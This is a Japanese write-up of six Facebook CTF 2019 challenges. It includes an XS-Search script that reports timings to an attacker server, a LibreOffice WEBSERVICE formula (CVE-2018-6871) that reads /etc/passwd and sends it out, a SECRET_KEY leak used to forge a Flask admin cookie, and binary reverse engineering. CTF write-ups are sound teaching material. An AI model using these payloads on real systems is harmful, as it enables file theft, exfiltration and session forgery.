6 月 1 日から 6 月 3 日にかけて開催された Facebook CTF 2019 に、チーム zer0pts として参加しました。最終的にチームで 9372 点を獲得し、順位は得点 1734 チーム中 18 位でした。うち、私は 6 問を解いて 3747 点を入れました。
他のメンバーの write-up はこちら。
以下、私が解いた問題の write-up です。
Come play with our products manager application!
(URL)
添付ファイル: products-manager.tar.gz
様々なプロダクトの管理ができる Web アプリケーションのようです。与えられた URL にアクセスすると View details of your own product
(view.php
) と Add your own product
(add.php
) へのリンクが表示されました。
view.php
ではプロダクト名とパスワード (10 文字以上でアルファベットの大文字と小文字、数字のすべてが含まれている) を入力すると詳細が表示されます。add.php
では自分のプロダクトを登録することができます。
添付ファイルとしてソースコードが与えられています。
db.php
<?php
/*
CREATE TABLE products (
name char(64),
secret char(64),
description varchar(250)
);
INSERT INTO products VALUES('facebook', sha256(....), 'FLAG_HERE');
INSERT INTO products VALUES('messenger', sha256(....), ....);
INSERT INTO products VALUES('instagram', sha256(....), ....);
INSERT INTO products VALUES('whatsapp', sha256(....), ....);
INSERT INTO products VALUES('oculus-rift', sha256(....), ....);
*/
︙
facebook
というプロダクトの詳細が得られればよさそうです。
まず SQL インジェクションを疑いましたが、プロダクトの表示時と追加時のいずれも、以下のように SQL 文の発行時にはプリペアドステートメントによる対策がされていました。
db.php
<?php
︙
function insert_product($name, $secret, $description) {
global $db;
$statement = $db->prepare(
"INSERT INTO products (name, secret, description) VALUES
(?, ?, ?)"
);
check_errors($statement);
$statement->bind_param("sss", $name, $secret, $description);
check_errors($statement->execute());
$statement->close();
}
︙
facebook
という名前のプロダクトが追加できるのではないかと思いましたが、add.php
では以下のように既にその名前のプロダクトが登録されていないか確認されています。
<?php
︙
$product = get_product($name);
if ($product !== null) {
return "Product name already exists, please enter again";
}
︙
ここでテーブルの定義を見直してみましょう。
CREATE TABLE products (
name char(64),
secret char(64),
description varchar(250)
);
name
と secret
はいずれも 64 文字の char
(固定長文字列) として定義されています。固定長文字列では 64 文字未満の文字列を入力しようとすると 64 文字になるまで後ろを半角スペースで埋められ、65 文字以上の文字列を入力しようとすると 64 文字に切り詰められます。
secret
は SHA-256 ハッシュなので問題ありませんが、add.php
では name
の文字数は確認されておらず、65 文字以上の文字列を入力してもそのまま挿入されてしまいます。これを利用すれば、facebook + (56 文字分の半角スペース) + (適当な文字列)
を name
として入力すれば facebook
を name
として入力したときと同じ結果になるはずです。既存のプロダクトがないかのチェックでは、name
が 64 文字に切り捨てられるということはないので、これをバイパスできるはずです。
add.php
で facebook neko
をプロダクト名に、nekoNEKOn3k0
をパスワードに入力してプロダクトを登録した上で、view.php
で facebook
をプロダクト名に、nekoNEKOn3k0
をパスワードに入力するとフラグが得られました。
fb{4774ck1n9_5q1_w17h0u7_1nj3c710n_15_4m421n9_:)}
Find the secret note that contains the fl4g!
(URL)
(Timeout is 5 seconds for links, flag is case insensitive)
与えられた URL にアクセスするとログインフォームが表示されました。適当なユーザ名とパスワードで登録してみると、ノートの登録ができるページ (/nots
)、検索ができるページ (/search
)、管理者に好きな URL を訪問させることができるページ (/report_bugs
) へのリンクが表示されました。
/notes
は現在ログインしているユーザのノートしか表示されず、それぞれのノートの個別ページも投稿者しか閲覧できません。また、<>&'"
はそれぞれ <
>
&
'
"
に置換されており、XSS はできそうにありません。
/search
では現在ログインしているユーザのノートの内容が検索できます。SQL の LIKE
句のように、%
や _
を使って case-insensitive なあいまい検索ができるようです。検索結果は以下のように iframe
を使って表示されます。
<div style="float: left; padding: 5px; border: 1px black solid">
<iframe style="border: none" src="/note/62"></iframe>
</div>
さて、どうやってフラグを手に入れればいいのでしょうか。問題文から管理者はフラグが含まれているノートを登録していることが推測できますが、/search
等を使って読み出すことはできないでしょうか。
こういった状況で使えるものに Cross-Site Search (XS-Search) という手法があります。今回の Web アプリケーションでは、例えば fb{example}
という内容のノートが存在していれば、fa
を検索したときと fb
で検索したときでは後者の方がレスポンスが遅くなるはずです。
では、アクセスすると訪問者に /search
を叩かせるスクリプトを書きましょう。
index.html
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>XS-Search</title>
</head>
<body>
<script src="index.js"></script>
</body>
</html>
index.js
const target = 'http://(問題サーバ)/search?query=';
const urlToReport = 'http://(攻撃者のサーバ)/log.php?';
const known = decodeURIComponent(location.href.split('?')[1]);
const dummy = ';';
let table = dummy + 'abcdef';
//let table = dummy + 'ghijkl';
//let table = dummy + 'mnopqr';
//let table = dummy + 'stuvwx';
//let table = dummy + 'yz0123';
//let table = dummy + '456789';
//let table = dummy + '{}!';
//let table = dummy + "'#$&(";
//let table = dummy + ")*+,-";
//let table = dummy + "./:;<";
//let table = dummy + ">?@[|";
//let table = dummy + "]^`{}~";
table = table.split('');
//table.push(['\\_']);
window.addEventListener('load', () => {
let result = [];
let i = 0;
const guess = (i) => {
if (i === table.length) {
const sorted = result.sort((x, y) => y[1] - x[1]);
const found = sorted[0][0];
console.log(found);
(new Image).src = urlToReport + encodeURIComponent(JSON.stringify(sorted));
return;
}
let start;
let iframe = document.createElement('iframe');
iframe.src = target + encodeURIComponent(known + table[i]);
iframe.addEventListener('load', () => {
document.body.removeChild(iframe);
result.push([table[i], Date.now() - start]);
setTimeout(() => {
guess(i + 1);
}, 100);
}, false);
start = Date.now();
document.body.appendChild(iframe);
};
guess(0);
}, false);
http://(攻撃者のサーバ)/?fb{cr055_s173_l34|
のような URL に管理者を訪問させると、http://(攻撃者のサーバ)/log.php
に [["<",256],[";",170],[".",131],["/",131],[":",131],[";",128]]
のような JSON が飛んできます。この場合は、最初のリクエストである ;
を除いてレスポンスが最も遅い <
が正解と推測できます。
これをちまちま繰り返していくとフラグが得られました。
fb{cr055_s173_l34|<5_4r4_c00ool!!}
他の参加者が CSRF 等によって仕込んだと思われる偽フラグのせいで 1 ~ 2 時間を溶かしました。許しません。
We setup this PDF conversion service for public use, hopefully it’s safe.
(URL)
与えられた URL にアクセスすると、以下のような説明と共にファイルのアップロードができるフォームが表示されました。
Choose a file to upload (.fods, max 64kb, lowercase name)
.fods
という拡張子のファイルをアップロードすると PDF に変換してくれるということでしょうか。fods file
でググってみると、これは OpenDocument Spreadsheet 形式であることがわかりました。
LibreOffice の Calc で適当な fods ファイルを作成してアップロードすると、確かに PDF に変換して返してくれました。
fods ファイルは XML を使用しています。Web 問で XML といえば XML External Entity (XXE) ということで、fods ファイルに XXE を埋め込んでファイルの読み出しや Server Side Request Forgery (SSRF) ができないか試してみますが、サーバは Internal Server Error を返します。ダメそうです。
関数や計算式を展開してくれないか試してみましょう。実行環境のバージョンが得られる =INFO("release")
を適当なセルに入力すると、以下のように出力されました。
64a0f66915f38c6217de274f0aa8e15618924765
これをググってみると、どうやら LibreOffice 6.0.0.3 を使って fods が PDF に変換されていることがわかりました。
LibreOffice 6.0.0.3 vulnerability
でググってみると、LibreOffice 公式のセキュリティアドバイザリがヒットしました。どうやらこのバージョンには CVE-2018-6871 という脆弱性が存在しており、COM.MICROSOFT.WEBSERVICE
という関数にファイルのパスを渡すことでそのファイルが読めるようです。
=WEBSERVICE("http://(攻撃者のサーバ)?" & ENCODEURL(WEBSERVICE("/etc/passwd")))
で /etc/passwd
を読めないか試してみましょう。
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
︙
libreoffice_admin:x:1000:1000::/home/libreoffice_admin:/bin/bash
読めました! /etc/passwd
を /home/libreoffice_admin/flag
に変えるとフラグが得られました。
fb{wh0_7h0u6h7_l1br30ff1c3_c4n_b3_u53ful}
I heard cookies and string formatting are safe in 2019?
(URL)
与えられた URL にアクセスするとログインフォームが表示されました。適当なユーザ名とパスワード (username_desu
/ password_dayo
) で登録してみると、イベントの登録フォームと Admin 向けのページ (/flag
) へのリンクが表示されました。後者にアクセスすると You do not seem to be an admin, username_desu!
と表示され、なんとかして admin
としてログインする (かログインしたことにする) 必要があるようです。
また、以下のような Cookie が発行されていました。
user=InVzZXJuYW1lX2Rlc3Ui.XPfk3g.PNtchS5A5LAfQU3XxkYtOatLgj0
events_sesh_cookie=.eJwljjkOwzAMwP7iOYNsyzrymUKSZbRr0kxF_94AnUkC_JTHOvJ8lv19XLmVx2uWvaA6TAkZAmmhS5qq-xSzTiIK0pBTGZsABViigi1AHqwDW6JUZc87mkhIZGuoVay-SDWMqTpzSEDehnnH6Tdkihjcu8YsW7nOPP4z0lr5_gCaVi6c.XPfk3g.AhTuh4O5wvdxlZr99PXNwYggzKk
それぞれ、ピリオドで区切った最初の文字列を URL-safe な Base64 としてデコードしてみます。
user: "username_desu"
events_sess_cookie: x\x9c%\x8e9\x0e\xc30\x0c\xc0\xfe\xe29\x83l\xcb:\xf2\x99B\x92e\xb4k\xd2LE\xff\xde\x00\x9dI\x02\xfc\x94\xc7:\xf2|\x96\xfd}\\\xb9\x95\xc7k\x96\xbd\xa0:L\t\x19\x02i\xa1K\x9a\xaa\xfb\x14\xb3N"\n\xd2\x90S\x19\x9b\x00\x05X\xa2\x82-@\x1e\xac\x03[\xa2Te\xcf;\x9aHHdk\xa8U\xac\xbeH5\x8c\xa9:sH@\xde\x86y\xc7\xe97d\x8a\x18\xdc\xbb\xc6,[\xb9\xce<\xfe3\xd2Z\xf9\xfe\x00\x9aV.\x9c
events_sess_cookie
は zlib で圧縮されていそうです。展開しましょう。
{"_fresh":true,"_id":"49b0d8c8580eac9f8299bbd8aa3688908247e9742806c0ae490af047579542e48197be299d46466af59a141bf699ca761b77c8c0e99dab34db41b76cc57339cd","user_id":"822"}
_fresh
や _id
のようなプロパティから Flask が使われていることが推測できます。
さて、イベントの登録フォームに脆弱性がないか色々試してみましょう。以下のように、フォームにはイベント名と開催地の入力欄と、どちらが重要な情報か選択できるセレクトボックスがあります。
<form action="/" method="POST">
<div class="form-row align-items-center">
<div class="col-auto">
Add a new event to your event database!
</div>
<div class="col-auto">
<input name="event_name" id="event_name" type="text" class="form-control" placeholder="Name of your event">
</div>
<div class="col-auto">
<input name="event_address" id="event_address" type="text" class="form-control" placeholder="Address of your event">
</div>
<div class="col-auto">
Is the name or address more important?
</div>
<div class="col-auto">
<select name="event_important" class="form-control form-control-sm">
<option value="name">Name</option>
<option value="address">Address</option>
</select>
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</div>
</form>
適当なイベントを登録すると、トップページのイベント一覧ではセレクトボックスで選択した情報のみが表示されました。
ここでセレクトボックスのオプションとして <option value="__init__">Name</option>
を加え、これを選択した状態でイベントを登録してみると、以下のような情報がイベント一覧に追加されました。
<bound method __init__ of Just another event>
謎のオブジェクトの __init__
メソッドが得られました。
TokyoWesterns CTF 4th 2018 の Shrine や angstromCTF 2019 の Madlibbin と同じ要領で app.config
を読み出し、セッションの署名に使われている SECRET_KEY
も手に入れられないか試してみましょう。
セレクトボックスのオプションとして __init__.__globals__[app].config
を加え、これを選択した状態でイベントを登録してみると、以下のような情報がイベント一覧に追加されました。
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'events_sesh_cookie', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'SQLALCHEMY_DATABASE_URI': 'sqlite:///my.db', 'SQLALCHEMY_TRACK_MODIFICATIONS': False, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False, 'SQLALCHEMY_ENGINE_OPTIONS': {}}>
SECRET_KEY
が含まれています。これでセッションを改ざんして user
のデータを "admin"
に変えてみましょう。noraj/flask-session-cookie-manager を辞書だけでなく文字列も署名できるように改造した上で、先程得られた SECRET_KEY
を使って "admin"
を署名します。
$ diff session_cookie_manager.py kaizan.py
53c53
< session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
---
> session_cookie_structure = ast.literal_eval(session_cookie_structure)
$ python3 kaizan.py encode -s 'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y' -t '"admin"'
ImFkbWluIg.D9UmMw.rThoC1QSMf1RiAa-CYu9gEbNQyg
これを Cookie の user
にセットし、/flag
にアクセスするとフラグが得られました。
fb{e@t_aLL_th0s3_c0oKie5}
The binary has two flags, submit the other flag to the part 2.
添付ファイル: SOMBRERO_ROJO.tar.gz
SOMBRERO_ROJO.tar.gz
を展開すると sombrero_rojo
というファイルが出てきました。どのようなファイルか file
コマンドで確認しましょう。
$ file ./sombrero_rojo
sombrero_rojo: ELF 64-bit MSB *unknown arch 0x3e00* (GNU/Linux)
よくわからないアーキテクチャの ELF のようです。私が問題を確認した時点で、@theoldmoon0602 さんによって 先頭から 6 バイト目 (e_machine
) の 02
を 01
に変えるだけで以下のように x86_64 の ELF として解釈できることがわかっていました。
$ file sombrero_rojo
sombrero_rojo: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=73bc159acbf342411d109a94d1d61533450ecf9f, stripped
また、@theoldmoon0602 さんと @ptrYudai さんによって main
に相当する関数はほとんど無意味 (my_sUp3r_s3cret_p@$$w0rd1
をコマンドライン引数として与えると Nope{Lolz_this_isnt_the_flag...Try again...}
が出力されるだけ) であることがわかっていました。
他に何か重要な処理を行っている部分がないか IDA の Freeware バージョンで調べてみると、.init_array
セクション (ここに登録されているアドレスは main
関数の前に呼ばれる) に 0x4005a0
という関数が登録されていました。この関数は以下のような処理から始まっています。
.text:00000000004005A0 push r12
.text:00000000004005A2 push rbp
.text:00000000004005A3 mov edx, 0FFFF869Fh
.text:00000000004005A8 push rbx
.text:00000000004005A9 xor ecx, ecx
.text:00000000004005AB xor esi, esi
.text:00000000004005AD xor edi, edi
.text:00000000004005AF sub rsp, 2B0h
.text:00000000004005B6 movdqa xmm0, cs:xmmword_496D40
.text:00000000004005BE mov rax, fs:28h
.text:00000000004005C7 mov [rsp+2C8h+var_20], rax
.text:00000000004005CF xor eax, eax
.text:00000000004005D1 movaps [rsp+2C8h+var_288], xmm0
.text:00000000004005D6 mov [rsp+2C8h+var_294], dx
.text:00000000004005DB mov edx, 1
.text:00000000004005E0 mov [rsp+2C8h+var_268], 0
.text:00000000004005E5 movdqa xmm0, cs:xmmword_496D50
.text:00000000004005ED mov [rsp+2C8h+var_298], 0A9CFB3A4h
.text:00000000004005F5 mov [rsp+2C8h+var_292], 0
.text:00000000004005FA movaps [rsp+2C8h+var_278], xmm0
.text:00000000004005FF movdqa xmm0, cs:xmmword_496D60
.text:0000000000400607 movaps [rsp+2C8h+var_2A8], xmm0
.text:000000000040060C call sub_44EC50
.text:0000000000400611 cmp rax, 0FFFFFFFFFFFFFFFFh
.text:0000000000400615 jz loc_4007A7
︙
.text:00000000004007A7 loc_4007A7: ; CODE XREF: sub_4005A0+75↑j
.text:00000000004007A7 ; sub_4005A0+261↓j ...
.text:00000000004007A7 mov rax, [rsp+2C8h+var_20]
.text:00000000004007AF xor rax, fs:28h
.text:00000000004007B8 jnz loc_400965
.text:00000000004007BE add rsp, 2B0h
.text:00000000004007C5 pop rbx
.text:00000000004007C6 pop rbp
.text:00000000004007C7 pop r12
.text:00000000004007C9 retn
sub_44EC50
を呼んだ結果が -1 であればその場でリターンしています。sub_44EC50
では mov eax, 65h; syscall
という命令列で sys_ptrace
が呼ばれており、この返り値をチェックすることによって gdb や strace 等でデバッグされていないか確認しているようです。gdb で楽にいじれるよう、jz loc_4007A7
を jz
から jnz
にいじっておきましょう。
ptrace
を呼んだ後、0x4007a7
に飛ばなかった場合の処理を見ていきましょう。
.text:000000000040061B lea rbx, [rsp+2C8h+var_2B5]
.text:0000000000400620 mov rax, 829E90D48B968FD4h
.text:000000000040062A mov [rsp+2C8h+var_2AD], 959299D5h
.text:0000000000400632 mov [rsp+2C8h+var_2B5], rax
.text:0000000000400637 mov [rsp+2C8h+var_2A9], 0
.text:000000000040063C mov rdi, rbx
.text:000000000040063F xor byte ptr [rsp+2C8h+var_2B5], 0FBh
.text:0000000000400644 call sub_4004C0
.text:0000000000400649 cmp rax, 1
.text:000000000040064D jbe loc_400798
.text:0000000000400653 xor byte ptr [rsp+2C8h+var_2B5+1], 0FBh
.text:0000000000400658 or rdx, 0FFFFFFFFFFFFFFFFh
.text:000000000040065C xor eax, eax
.text:000000000040065E mov rcx, rdx
.text:0000000000400661 mov rdi, rbx
.text:0000000000400664 repne scasb
.text:0000000000400666 not rcx
.text:0000000000400669 add rcx, rdx
.text:000000000040066C cmp rcx, 2
.text:0000000000400670 jbe loc_400798
︙
.text:0000000000400770 xor byte ptr [rsp+2C8h+var_2AD+3], 0FBh
.text:0000000000400775 mov rcx, rdx
.text:0000000000400778 mov rdi, rbx
.text:000000000040077B repne scasb
.text:000000000040077D mov rax, rcx
.text:0000000000400780 not rax
.text:0000000000400783 add rax, rdx
.text:0000000000400786 cmp rax, 0Ch
.text:000000000040078A jbe short loc_400798
var_2B5
について 1 バイトずつ 0xfb と XOR しています。どんな文字列ができたか gdb で確認してみましょう。
$ gdb ./sombrero_rojo
gdb-peda$ b *0x40078a
Breakpoint 1 at 0x40078a
gdb-peda$ r
gdb-peda$ x/s $rsp+0x2c8-0x2b5
0x7fffffffded3: "/tmp/key.bin"
/tmp/key.bin
というファイルのパスらしき文字列が出てきました。この後の処理も追ってみましょう。
.text:0000000000400798 loc_400798: ; CODE XREF: sub_4005A0+AD↑j
.text:0000000000400798 ; sub_4005A0+D0↑j ...
.text:0000000000400798 xor esi, esi
.text:000000000040079A mov rdi, rbx
.text:000000000040079D call sub_44E0F0
.text:00000000004007A2 cmp eax, 0FFFFFFFFh
.text:00000000004007A5 jnz short loc_4007CA
rbx
には var_2B5
へのアドレスが入っています。/tmp/key.bin
を第一引数として sub_44E0F0
を呼び、返り値が -1 でないか確認しています。sub_44E0F0
は mov eax, 15h; syscall
という命令列で sys_access
が呼ばれており、どうやら /tmp/key.bin
が存在しているかどうか確認しているようです。
.text:00000000004007CA loc_4007CA: ; CODE XREF: sub_4005A0+205↑j
.text:00000000004007CA lea rsi, unk_4AA03F ; "r"
.text:00000000004007D1 mov rdi, rbx
.text:00000000004007D4 call sub_4141F0
sub_4141F0("/tmp/key.bin", "r")
という感じで sub_4141F0
が呼ばれています。恐らく fopen
でしょう。
.text:00000000004007D9 lea rdi, [rsp+2C8h+var_228]
.text:00000000004007E1 mov rbx, rax
.text:00000000004007E4 mov rdx, rax
.text:00000000004007E7 mov esi, 0FFh
.text:00000000004007EC call sub_413EE0
sub_413EE0(var_228, 0xff, (sub_4141F0 の返り値))
という感じで sub_413EE0
が呼ばれています。fgets
でしょう。
.text:00000000004007F1 mov rdi, rbx
.text:00000000004007F4 call sub_413AE0
sub_413AE0((sub_4141F0 の返り値))
という感じで sub_413AE0
が呼ばれています。fopen
fgets
と来たので fclose
でしょう。
.text:00000000004007F9 cmp [rsp+2C8h+var_228], 0FBh
.text:0000000000400801 jnz short loc_4007A7
.text:0000000000400803 cmp [rsp+2C8h+var_226], 95h
.text:000000000040080B jnz short loc_4007A7
.text:000000000040080D cmp [rsp+2C8h+var_225], 17h
.text:0000000000400815 jnz short loc_4007A7
.text:0000000000400817 cmp [rsp+2C8h+var_224], 90h
.text:000000000040081F jnz short loc_4007A7
.text:0000000000400821 cmp [rsp+2C8h+var_223], 0F4h
.text:0000000000400829 jnz loc_4007A7
先程 /tmp/key.bin
から読み込んだデータの確認をしています。1 バイト目が 0xfb
かどうか確認した後、3 バイト目 ~ 6 バイト目がそれぞれ 0x95
0x17
0x90
0xf4
であるかどうか確認しています。2 バイト目は確認されていません。
この部分を通過できるようなデータを /tmp/key.bin
に書き込んで、改変前のバイナリを実行してみましょう。
$ echo -en "\xfb_\x95\x17\x90\xf4" > /tmp/key.bin
$ ./sombrero_rojo
fb{7h47_W4sn7_S0_H4Rd}
Ready for the next challenge?... press enter
フラグが得られました。
fb{7h47_W4sn7_S0_H4Rd}
Once you get the flag for part 1, go get the flag for part 2. Note that the developer isn’t a great programmer, so watch out for bugs.
添付ファイル: SOMBRERO_ROJO.tar.gz
SOMBRERO ROJO (part 1) の続きのようです。添付ファイルも同じです。
正しいキーを入力した後、同じディレクトリに next_challenge.bin
という、以下のような内容のファイルが書き込まれていました。
$ xxd next_challenge.bin | head
0000000: d40d ae5d 1ab6 bff9 c7de db95 4594 35d5 ...]........E.5.
0000010: b4c6 92bf 0bb5 b0c0 5ba8 c2aa c62c 1c49 ........[....,.I
0000020: 5827 37ac a40e 5eab a759 cd5e 1b56 95ed X'7...^..Y.^.V..
0000030: d60a e179 17cf 8060 d1af 3658 a505 03dc ...y...`..6X....
0000040: f5d3 39d5 d9e8 d651 9d4d b2ee 1507 6e36 ..9....Q.M....n6
0000050: 6906 1578 1770 f064 fd7a 9d4f 0b9d 46a3 i..x.p.d.z.O..F.
0000060: a5e5 6435 1c8d 0a40 3d5d 3278 6afe cee2 ..d5...@=]2xj...
0000070: a5bb 1606 47a6 0b81 515a d837 8ae4 e665 ....G...QZ.7...e
0000080: cf4c efba 8ec3 a17e 3523 40cc 3d1b 3e01 .L.....~5#@.=.>.
0000090: 90be cf74 9b34 a301 7e35 de85 a0d2 d902 ...t.4..~5......
strace
で追ってみると最後に execve("next_challenge.bin", [0], [/* 26 vars */])
で実行しようとしていることから、このファイルは ELF か shebang (#!
) で始まるスクリプトファイル等になるはずが復号に失敗してしまったものであることが推測できます。
復号に XOR を使っていると仮定して、\xd4\x0d\xae\x5d
と \x7fELF
を XOR したバイト列である \xab\x48\xe2\x1b
で検索してみると、複数箇所 (しかも全て 256
で割り切れるオフセット) で見つかりました。恐らく 256 バイト単位で \xab\x48\xe2\x1b
から始まる 256 バイトの鍵と XOR しており、null バイトが続いている箇所でこの鍵の一部が出てきてしまったのでしょう。
これを利用して XOR されている鍵を推測してみましょう。
from collections import Counter
with open('next_challenge.bin', 'rb') as f:
s = f.read()
cands = []
for i in range(0, 0x3000, 0x100):
if s[i:i+0x100].startswith(b'\xab\x48'):
cands.append(s[i:i+0x100])
key = b''
for i in range(0x100):
key += bytes([Counter([cand[i] for cand in cands]).most_common(1)[0][0]])
print(key)
$ python3 find_key.py
b'\xabH\xe2\x1b\x18\xb7\xbe\xf9\xc7\xde\xdb\x95E\x945\xd5\xb7\xc6\xac\xbf\n\xb5\xb0\xc0k\xad\xc2\xaa\xc6,\x1cI\x18\'7\xac\xa4\x0e^\xab\x97p\xcd^\x1bV\x95\xed\xd6\n\xe1yW\xcf\xb8`\xd8\xafvX\xb8\x05\x1f\xdc\xf3\xd39\xd5\xdd\xe8\xd6Q\xddM\xb2\xee\x15\x07n6)\x06\x15x\x17p\xf0d\xbdz\x9dO\x0b\x9dF\xa3]\xe4d5\x1c\x8d\n@\xc5\\2xj\xfe\xce\xe2\xad\xbb\x16\x06G\xa6\x0b\x81RZ\xd87\x8e\xe4\xe6e\xf7N\xef\xba\x8e\xc3\xa1~\r!@\xcc=\x1b>\x01\xa8\xbc\xcft\x9b4\xa3\x01b5\xde\x85\xa0\xd2\xd9\x02:\xf0\xaa\xb9\xa6\xbc\xcf.V\x0c-\xd765ogRKfp\x1f\xe4kT\x98\x9e\xe4Q~\x86\x16\xc1\x08\xd6x!\x16\x03\x1ak\xd1\xc2\xee(z\xc1"s6S\xa8\x1e"\xb7@\xff\xb1\x9cXx/\xef\x0cL\x14\xd4\xa5\x15\xf1\x17\x9eJB\x9a\x9abRN\x1adQ\x92\'\xacw\x1f\x9fn\xe5dc\xe0?\x03\x1d\xb6'
鍵と思われるバイト列が得られました。これと next_challenge.bin
を XOR して実行してみましょう。
$ python2
︙
>>> from pwn import *
>>> encrypted = open('next_challenge.bin', 'rb').read()
>>> key = '\xabH\xe2\x1b\x18\xb7\xbe\xf9\xc7\xde\xdb\x95E\x945\xd5\xb7\xc6\xac\xbf\n\xb5\xb0\xc0k\xad\xc2\xaa\xc6,\x1cI\x18\'7\xac\xa4\x0e^\xab\x97p\xcd^\x1bV\x95\xed\xd6\n\xe1yW\xcf\xb8`\xd8\xafvX\xb8\x05\x1f\xdc\xf3\xd39\xd5\xdd\xe8\xd6Q\xddM\xb2\xee\x15\x07n6)\x06\x15x\x17p\xf0d\xbdz\x9dO\x0b\x9dF\xa3]\xe4d5\x1c\x8d\n@\xc5\\2xj\xfe\xce\xe2\xad\xbb\x16\x06G\xa6\x0b\x81RZ\xd87\x8e\xe4\xe6e\xf7N\xef\xba\x8e\xc3\xa1~\r!@\xcc=\x1b>\x01\xa8\xbc\xcft\x9b4\xa3\x01b5\xde\x85\xa0\xd2\xd9\x02:\xf0\xaa\xb9\xa6\xbc\xcf.V\x0c-\xd765ogRKfp\x1f\xe4kT\x98\x9e\xe4Q~\x86\x16\xc1\x08\xd6x!\x16\x03\x1ak\xd1\xc2\xee(z\xc1"s6S\xa8\x1e"\xb7@\xff\xb1\x9cXx/\xef\x0cL\x14\xd4\xa5\x15\xf1\x17\x9eJB\x9a\x9abRN\x1adQ\x92\'\xacw\x1f\x9fn\xe5dc\xe0?\x03\x1d\xb6'
>>> open('decrypted', 'wb').write(xor(encrypted, key))
$ chmod +x decrypted
$ ./decrypted
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX0OkkkkOKNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKOxlcclllccld0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXdcccd0XXK0xlco0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXdcclOWWWNNXklcoKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXdcclOWWWWNNXxccdXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNdcclOWWWWNNNKdcckNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNxcccOWWWWWNNNOlcoKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXdccckWWWWWNNNKdcckWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWOlccoKWWWWNNNNXxccxNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOlcco0WWWWNNNNNKdcckWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
